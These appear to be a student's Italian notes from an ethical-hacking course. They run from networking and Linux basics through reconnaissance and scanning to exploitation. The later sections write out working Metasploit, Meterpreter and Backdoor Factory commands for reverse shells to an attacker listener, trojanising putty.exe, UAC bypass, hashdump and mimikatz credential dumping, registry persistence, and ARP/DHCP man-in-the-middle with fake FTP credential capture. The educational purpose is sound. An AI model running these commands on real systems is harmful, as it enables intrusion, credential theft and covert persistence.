Skip to content

Instantly share code, notes, and snippets.

@enricosoft
Last active June 5, 2023 11:29
Show Gist options
  • Save enricosoft/59896303d8651bc7f83f8a7b7dd9f33d to your computer and use it in GitHub Desktop.
Save enricosoft/59896303d8651bc7f83f8a7b7dd9f33d to your computer and use it in GitHub Desktop.
Diventa un Ethical Hacker - Appunti Corso Udemy
ETHICAL HACKER - PARTE 1
white hat
stessi strumenti del black hat ma per scopi etici
cosa fa: messa in sicurezza della rete oppure test di verifica sicurezza (penetration testing)
Vettori di attacco, in ordine:
- endpoint (pc, server, ecc) --> es: social engineering
- mobile devices (es. connessi a rete aziendale)
- software non aggiornato --> vulnerability test
- mondo social
- configurazione errata dispositivi di rete (firewall, access point, ecc)
- minacce interne (dipendenti poco corretti, chiavette usb portate dall'esterno, ecc)
Fasi di un attacco hacker:
- information gathering (raccolta informazioni)
- scansione della rete
- guadagnare l'accesso ai sistemi
- mantenere accesso alla rete
- cancellazione delle tracce (log)
Competenze da avere:
- conoscenza delle reti (a basso livello, tipo dal modello ISO/OSI in su), sistemistica
- linguaggi di programmazione (assembler, c, python)
SIEM: è un apparato di rete che cattura i log provenienti da vari dispositivi (log correlation).
Server per capire che tipo di problemi sta dando la rete e da dove provengono.
Security policy da definire:
- risorse
- group policy per gli utenti
- accessi da remoto (vpn)
- accesso gestito alle informazioni
- policy per le password
- policy per le email
Penetration testing va fatto in maniera periodica!
Può essere:
Black box (non è a conoscenza di dettagli sulla rete e quindi parte da zero)
White box (qui invece ha molti dettagli sulla rete)
DISTRIBUZIONI LINUX CON SOFTWARE DI PENETRATION TESTS:
Kali Linux (debian), è la più diffusa
parrot security
backbox
Networking VM:
- bridge (replica stessa rete dell'host fisico quindi indirizzo ip di quella rete)
- nat (indirizzo ip in rete diversa, in una sottorete ma hai accesso ad internet tramite l'ip del pc host)
- host only (più macchine virtuali si vedono tra loro ma non escono su internet)
VmWare workstation è il più completo perchp ti permette di creare una custom network con anche dispositivi di rete.
VirtualBox non lo fa.
NAT: network address translation. Mascheramento dell'ip del computer della rete privata.
VM LINUX VOLUTAMENTE VULNERABILE PER POTER EFFETTUARE I TEST: metasploitable-2
Credenziali: msfadmin
ifconfig eth0 ip della tua rete
COMANDI LINUX:
ls --> elenca contenuto file\cartelli
pwd --> in quale percorso ci troviamo
cd --> ci permette di navigare le cartelle
cp --> permette di effettuare la copia dei file\cartelle
mkdir --> crea cartella
rmdir --> rimuove cartella
touch --> ci permette di creare un file
tar --> permette di creare un file compresso
clear --> pulisce la shell
adduser --> crea nuovo utente
chmod --> gestione permessi in linux
vi --> editor di testo
cat --> manipolazione di file\ricerca in file
grep --> ricerca in file
apt-get --> utility gestione pacchetti
date --> visualizza data
whoami --> utente loggato
man --> visulizza la guida per i vari comandi linux
ifconfig --> visualizza\configura interfaccia di rete
traceroute --> che percorso fa il dato per arrivare a destinazione
dig --> permette di interrogare i server dns
telnet --> permette di effettuare delle connessioni protocollo telnet
nslookup --> fare query al dns
netstat --> statistiche relative alla rete. Connessioni\porte aperte
w --> utenze attive
ifup\ifdown --> abilita\disabilita una scheda di rete
ping --> invia pacchetti ad una destinazione
route --> visualizzare la route table dell'host
arp -a --> visualizza tabella arp. Corrispondenza indirizzo MAC con IP
uptime --> da quanto tempo è attivo il sistema
users --> utenti connessi al sistema in questo momento
crontab -l --> attività pianificate
less o more --> per visualizza un file pezzo per pezzo
ssh --> connettersi ad un host remoto tramite protocollo ssh
ftp/sftp
service start/stop --> per gestione servizi
free -h --> memoria libera o utilizzata
top --> visualizza i processi di sistema e quanto consumano e da quali utenti
lsof --> quali file sono aperti nel sistema
ps --> processi in esecuzione nel sistema
kill --> termina un certo processo specificando il PID
uname -a --> che versione di linux è installata
uname -r --> versione del kernel
hostname --> il nome della macchina
cat /proc/cpuinfo --> informazioni sul processore
cat /proc/meminfo --> informazioni relative alla memoria
/var/log/messages --> log generale di sistema
df -h --> spazio libero disco e partizioni
POWERSHELL (Windows)
un dos più evoluto e potente.
dir --> lista cartelle
ps --> lista dei processi in esecuzione nel sistema
restart-service ... --> riavvia servizio
remove-item --> rimuove file
MAPPE CONCETTUALI:
sono uno strumento utile quando si devono organizzare molte informazioni. Si tratta della rappresentazione grafica delle relazioni tra più concetti.
E' quindi costituita da nodi e da relazioni tra quesi nodi.
Nel caso dell'ethical hacking servono ad organizzare le informazioni nelle fase "raccolta informazioni" e "scansione della rete".
Il software consigliato è XMIND.
REPORTING TOOL:
strumento che permette di raccogliere tutte le informazioni relative ad un penetration testing, in tutte le sue fasi. Si integra anche con altri software.
Il più noto è: DRADIS.
Andrà configurato su Kali linux. Per prima cosa bisognerà avviare il servizio che di base è spento.
Dradis ha interfaccia web! Si tratta di un tool che permette la stesura di un penetration test.
MODELLO ISO\OSI:
è un modello concettuale che non ha una reale applicazione pratica e che serve ad identificare in quale parte del processo di comunicazione ci troviamo.
Sono 7 livelli in totale.
Application (dati)
Presentation (dati)
Session (dati)
Transport (segmenti)
network (pacchetti) --> router, firewall operano 1ui, a livello 3
data link (struttura)--> switch operano qui, a livello 2 (utilizzano il protocollo ARP)
physical (bits)
MAC ADDRESS:
codice 48bit univoco assegnato dal produttore sulla scheda di rete (collocato a livello 2 del modello ISO/OSI) ma modificabile via sw.
Rappresenta un identificativo per un particolare dispositivo di rete.
INDIRIZZO IP:
é suddiviso in 2 parti: indentifica la rete, l'altra parte identifica l'host.
Si suddivisono in:
- ip pubblici (utilizzabili su internet)
- ip privati (classe a,b,c)
Maschera classe:
- A (24 bit block)
- B (20 bit block)
- C (16 bit block)
Ovviamente il classe A può contenere tanti IP rispetto al classe C
ARP:
mappatura tra indirizzo IP v4 (logico) e indizzo MAC address (fisico
DEFAULT GATEWAY:
se il tuo pacchetto non fa parte della rete privata corrente, mandalo qui
TROUBLESHOOTING RETI:
ping --> livello 3
traceroute\tracert --> livello 3 iso/osi
arp --> livello 2
SERVIZI\PROTOCOLLI + PORTE:
Le porte note sono quelle tcp\upd da 0-1023 perchè queste sono assegnate a servizi noti. Le porte arrivano a 65535.
NAT:
network address translation. Converte un certo ip in un'altro.
Perchè si usa? per esempio quando navighi su internet per gestire il routing dei pacchetti dalla rete interna alla rete internet e viceversa
PAT:
port address translation
DNS:
domain name service
DHCP:
dynamic host control protocol
windump o wireshark --> sniffer di rete. Ci permette di vedere nel dettaglio quello che sta succedendo a livello di traffico di rete.
netcat --> soprannominato il "coltellino svizzero dell'hacking". Permette di eseguire diverse funzioni.
cisco packet tracer --> simulatore di reti fatto molto bene.
windowsfingerprint
SWITCH:
lo switch lavora a livello 2 iso/osi (e quindi con i mac address). Ogni volta che c'è una comunicazione tra dispositivi collegati allo stesso switch,
lo switch impara i loro mac address e li salva in una tabella. Una volta memorizzati riesce a fare il suo lavoro.
VLAN:
virtual lan (local area network).
Virtual perchè viene creata una nuova parte di rete NON FISICA.
In pratica nello switch puoi dire che le prime 4 porte formano una certa VLAN, mentre le altre un'altra. Ovviamente le reti non si vedranno tra di loro.
Se io invio un pacchetto di broadcast ad una certa VLAN, lo vedranno solo i pc collegati a quella.
Per farlo devono suddividere il broadcast in tante piccole sotto-broadcast.
VLAN TAGGED:
se una certa Vlan viene gestita da più switch bisogna fare in modo che gli switch si parlino.
In questo caso bisogna dire che le porte che collegano i 2 switch devono essere "trunk" e non "access".
Tutte quello che non necessitano di porta "trunk" sono UNTAGGED.
ROUTER:
funziona a livello 3 iso/osi, quindi con gli indirizzi ip.
Serve per far "ruotare" i pacchetti tra 2 reti differenti (per esempio lan e wan ma anche tra 2 lan differenti).
FIREWALL:
il firewall fa tante funzioni diverse: routing, terminatore vpn, controllo del traffico, ecc.
Firewall perimetrale: tra lan e wan.
Il FW ha traffico di inbound e outbound.
Una volta si occupava di verificare regole specifiche (es: iptables linux).
Se esiste una regola che contiene un certo ip sorgente, un certo ip di destinazione, una certa porta ed è in ALLOW, allora lascia passare. Altrimenti blocca.
Oggi fanno anche:
- analisi avanzata pacchetti
- ids,ips (intrusion detection system e intrusion prevention system)
- terminatore reti vpn (site to site e remote access)
- antivirus\antispam
- plp (packat loss prevention)
Vendor fw in ambito enterprise:
fortinet
checkpoint
paloalto
ETHICAL HACKER - PARTE 2
1) RACCOLTA INFORMAZIONI
Google Dorks: query di ricerca scritte in un modo particolare che permettono di ottere informazioni sensibili (messaggi di errore, password, device online, ecc)
exploit-db.com/google-hacking-database
Google Cache:
cachedview.com oppure ricerca su google cache:dominio
Wayback Machine: simile a google cache ma più flessibile e potente.
web.archive.org
Informazioni dai social: vedere cosa pubblicano (comprese offerte di lavoro dove in genere ci sono le tech utilizzate ecc)
Raccolta dei metadati: quando crei un file (test, immagini, ecc) in realtà salvi anche alcune informazioni nascoste.
"exiftool" gli estrapola
strumento WhoIs: raccogli informazioni su un certo dominio.
whois.net
geektool.com/whois
Si può fare anche da kali linux (whois dominio)
RECORD DNS:
Record NS: nameserver (indica a quali dns puntare)
Record A: mapping da hostname e indirizzo ip
Record CNAME: crea degli alias
Record MX: definisce i mailserver
Interrogazione dns con nslookup
Su Kali limux è disponibile DIG (dig nomedominio)
Trasferimento di zona DNS:
questo tipo di attacco è molto pericoloso perchè poi ci permette di utilizzare il dns a nostro piacimento,
si può utilizzare DIG con questo comando: dig @192.168.2.10 azienda.local AXFR
Per prevenirlo, nel tab "Zone Transfer" bisogna disabilitare il check "Allow Zone Transfers"
Raccolta informazioni con MALTEGO:
eseguire "maltegoce" da riga di comando
Si basa su plugin da installare che ci rendono disponibili varie funzionalità.
Quella base più utilizzata è: PATERVA CTAS
Raccolta informazioni con RECON-NG:
Da kali linux eseguire "recon-ng"
show modules
e poi esegui il modulo desiderato
workspace add test
add domain test.com
load nomemodulo
Raccolta informazioni con SHODAN: trova tutti i dispositivi hardware con indirizzo ip che hanno avuto accesso ad internet
Identifichi anche informazioni dettagliate (versioni, web server, ecc)
shodan.io
-------------------------------------------------
2) SCANSIONE DELLA RETE
network sweeps --> quali sono gli host attivi in esecuzione sulla rete
network tracing --> traceroute, ecc quali sono i dispositivi presenti nella rete
network port --> traccia tutte le porte aperte
os detection --> rilavazione sistema operativo
version scan --> per ogni porta quale servizio è in esecuzione
Livelli iso\osi di nostro interesse:
2 mac address (arp discovery)
3 ip address e icmp (ping)
4 tcp\udp (trasporto)
KF Sensor --> honeypot (finto sistema vulnerabile che fa da esca per gli hacker)
Va allocato in un segmento di rete diverso dalla nostra rete locale!
SCANSIONE A LIVELLO 2:
arping 192.168.1.129 -c 2 (Kali linux)
arp -a (Windows)
nmap 192.168.1.100-150 -sn (kali linux)
scanrand tool (port scanner estremamente veloce)
Protocollo TCP --> orientato alla connessione (liv 4 ios\osi)
Protocollo UDP --> non orientato alla connessione
il TCP è più affidabile perchè controlla la connessione e se perde un pacchetto lo richiede.
Nell' udp ogni pacchetto è indipendente e non c'è alcun tipo di controllo.
UDP per esempio viene utilzzato nello streaming video. UDP è più performante perchè non fa controlli.
Proprio per questo gli header dei pacchetti sono totalmente diversi ed il TCP ne ha di più.
I FLAG DEL PROTOCOLLO TCP:
sono 6 in totale destinati al controllo della connessione
SYN
ACK
RST --> connessione resettata a causa di un errore
FIN
PSH
URG
SYN + ACK --> threeway handshake protocol (stretta di mano a 3 vie)
Dato A (client) e B (server)
A invia dei dati a B
A --> B flag SYN (richiesta connessione su una certa porta)
B --> A flag SYN + ACK (ok, ho ricevuto la tua richiesta e sono in ascolto su questa porta)
A --> B flag ACK (per confermare)
Questo è il threeway handshake.
In caso di problemi il server manderà un pacchetto RST
Colasoft Packet Builder --> permette di creare pacchetti TCP\IP personalizzati in base a ciò che dobbiamo effettuare.
IDLE SCAN:
In questo caso abbiamo 3 macchine:
A (attaccante)
B (bersaglio)
C (macchina zombie)
In questo caso noi dobbiamo attaccare la macchina B raccogliendo informazioni senza
però esporci direttamente.
Per fare questo faremo "ponte" su una macchina zombie che ci farà da tramite.
In pratica invii un SYN ACK alla macchina C e lei risponde con un RST.
Dalla risposta prelevi l'Identificativo della risposta (es: 1000).
A questo punto la macchina A manda un SYN alla B ma utilizzando come identificativo quello della macchina C (spoofed).
La macchina B se la porta è aperta risponderà con un SYN ACK che però arriverà alla macchina C e non alla nostra A in quanto
abbiamo simulato di essere lei ma non lo siamo veramente! Il fatto è che se la porta era aperta, nella risposta l'identificativo del pacchetto
si sarà incrementato di 1 (es: 1001).
Per concludere noi mandiamo dalla macchina A un SYN ACK alla C e vediamo se l'identificativo del pacchetto in risposta sarà 1002. Se si, allora
la porta sulla macchina B è aperta, se no (quindi sarà 1001) vuol dire che è chiusa.
[Identification Number]
XMAS SCAN:
vengono settati tutti i 6 flag a 1.
Non funziona su sistemi windows.
La porta è aperta se non riceviamo una risposta.
Se riceviamo RST la porta è chiusa.
FIN SCAN:
imposta il flag FIN e funziona solo su sistemi windows.
Se non c'è risposta la porta è aperta.
se ritorna un RST\ACK la porta è chiusa.
NULL SCAN:
mandiamo un pacchetto tcp senza nessun flag impostato.
Non funziona su windows.
se non c'è risposta la porta è aperta.
----------------------
SCANSIONE PROTOCOLLO UDP:
nmap -sU -v -p 53413 192.168.1.129
Se non c'è alcuna risposta allora la porta è aperta
Se ritorna un messaggio ICMP che dice che la porta è chiusa, è chiusa.
----------------------
CONTROMISURE PER SCANSIONE RETE:
1) configurazione firewall
2) configurazione IDS\IPS (intrusion prevention system)
3) ICMP
4) effettuare scansioni TCP e UDP periodicamente per verificare lo stato.
----------------------
BANNER GRABBING (SECTION 10)
Vedere dettagli su sistema operativo e software che girano sulle porte.
Per esempio se fai un telnet verso un server iis sulla porta 80, nella risposta di IIS
vedi il banner "Server: Microsoft-IIS/8.0"
Con KFSENSOR è possibile modificare questi banner simulandone vari.
Volendo è possibile sopprimere anche i banner per i vari servizi.
ALRI TOOLS:
matasploit
netcat
nmap
amap
FINGERPRINTING ATTIVO E PASSIVO:
attiva --> nmap e xprobe --> mandi pacchetti al target e verifichi gli header di risposta
passiva --> p0f --> si mettono in ascolto sul pc attaccante ed attendono che arrivi il traffico dal target
La versione passiva è molto meno rumorosa rispetto alla prima.
Attiva:
nmap -n -O -p 1-100 192.168.1.129
xprobe2 192.168.1.129
Passiva:
p0f -i eth0 -o /tmp/p0f.log
---------------------
VULNERABILITY ASSESSMENT (section 11)
ti trova tutte le vulnerabilità di OS e servizi installati.
Tools:
- tenable Nessus (c'è anche versione free)
- nexpose (free trial)
- retina network security scanner
- openVas (opensource)
Siti dove trovi le vulnerabilità legati ai vari software\versioni
https://www.exploit-db.com/local/
securityfocus.com
packetstormsecurity.com
cvedetails.com
Si può utilizzare anche NMAP per fare la ricerca delle vulnerabilità.
---------------------
EXPLOITATION (section 12)
- service side exploit (attacca i servizi) --> creare pacchetti ad-hoc per colpire un servizio in ascolto che possiede vulnerabilità. è l'attaccante che invia pacchetti
- client side exploit (accatto inizia lato client) --> in questo caso è il target che effettua una connessione ad un servizio presente nell'attaccante. ovviamente questo servizio poi sfrutta la connessione per fare cose.
Questo tipo di attacco in genere utilizza dei browser, flash, ecc.
- local privilege esclation (guadagnare i permessi e poi attaccare)
METASPLOIT: tool che ci automatizza il processo di exploitation (tramite una collezzione di exploit già pronti).
Contine un payload db e moduli esterni.
In particolare "msfvenom" si occupa di creare un file malevolo già pronto all'uso.
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.133 LPORT=8080 -f exe>/tmp/fileMalevolo.exe
Genera un file che ci permette di ricevere delle connessioni sulla porta 8080
msfconsole --> avvia la console di metaexploit
show exploit
search multi/handler
info multi/handler
user exploit/multi/handler
show payload
set payload windows/shell/reverse_tcp
show options
set LHOST 192.168.1.133
set LPORT 8080
exploit (exploit -j per metterlo in background)
Quando la vittima esegue il file exe, noi riusciamo a prendere il controllo della sua shell dos!
METERPRETER:
altra shell ben fatta e potente di metasploit.
puoi fare screenshot, lanciare software ed ottenere informazioni come info pc e ipconfig.
una volta che hai aperto un nuovo software puoi migrare sul suo processo attivo ed usare quello per sopravvivere.
VEIL-EVASION:
lo scopo è mimetizzarsi per evitare antivirus\antimalware presenti sulla macchina.
è integrato anche con metasploit e quindi anche meterpreter.
./Veil-Evasion.py
list
info powershell/meterpreter/rev_https
--------------------
MANTENERE L'ACCESSO (POST EXPLOITATION):
se noi abbiamo preso l'accesso (privilege escalation) tramite un certo processo, se l'utente lo chiude siamo fuori.
Dobbiamo fare in modo che ciò non accada.
Per garantirsi l'accesso anche in futuro servono privilegi molto elevati.
Per ottenersi tramite metasploit digirare "getsystem" (diventi AUTHORITY\SYSTEM)
Se non ci si dovesse riuscire (es. UAC abilitato su windows) usare il modulo di metasploit "exploit/windows/bypassuac"
Per verificare se la UAC è abilitata, esegui:
run post/windows/gather/win_privs
e ti dirà false o true
A questo punto per mantenere l'accesso lanciamo il comando:
hashdump
serve per recuperare gli hash delle password degli utenti
Se il comando "getsystem" non dovesse funzionare, per scalare i privilegi si può usare il "Local Exploit Suggester"
run post/multi/recon/local_exploit_suggester
Questo comando va lanciato all'interno della sessione meterpreter e quindi abbiamo già connessione con il pc target.
ti fa vedere cosa potresti utilizzare in base alle possibili vulnerabilità di quella macchina.
THE-BACKDOOR-FACTORY (github)
e poi install.sh
Inietta del codice (backdoor) su degli eseguibili normalissimi (es: PUTTY)
.backdoor.py -f /root/Desktop/putty.exe -s reverse_shell_tcp_inline -H 1921.68.1.133 -P 8080
Un altro sistema per ottenere le password è il seguente (sempre tramite meterpreter):
load mimikatz
wdigest
visualizza utenti/pwd in memoria in chiaro.
Per installare una backdoor tramite meterpreter eseguire:
run persistence -X -p 8081 -r 192.168.1.122 -i 5
installa una chiave di registro in autorun
sysinfo (informazioni di sistema)
getuid (utente corrente)
shell (dos)
PIVOTING:
far passare tutto il traffico delle macchine da una nostra sessione metasploit.
si fa aggiungendo una route specifica al pc target.
run autoroute -s 192.168.1.0/24
---------------------
ATTACCO MAN IN THE MIDDLE:
Protocollo arp (arp poisoning) e dhcp sono ideali per un attacco man in the middle.
sono vulnerabili perchè non hanno meccanismi di autenticazione.
w4sp-lab github (laboratorio)
L'attacco di arp poisoning può essere di 2 tipi: standard e gateway.
Lo standard si mette in mezzo tra macchina A e B. Invia pacchetti alle 2 macchine A e B facendo credere che il mac address dei relativi ip di destinazione è il suo. In pratica invia pacchetti arp e poi sfrutta la cache arp dei 2 dispositivi.
Mentre quello gateway fa credere a tutte le macchine di essere il GW andando a colpire il dhcp che di conseguenza assegna dei valori fake di dns o gateway.
use auxiliary/spoof/arp/arp_poisoning
show options
...imposta le opzioni...
GATEWAY MODE:
use auxiliary/server/dhcp
set DNSSERVER ..... (nostro attaccante)
set NETMASK .....
set SRVHOST ..... (nostro attaccante)
exploit -q (in background)
use auxiliary/server/fakedns
set targetaction FAKE
set targetdomain ftp1.labs
set targethost 192.168.1.100 (attaccante)
use auxiliary/server/capture/ftp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment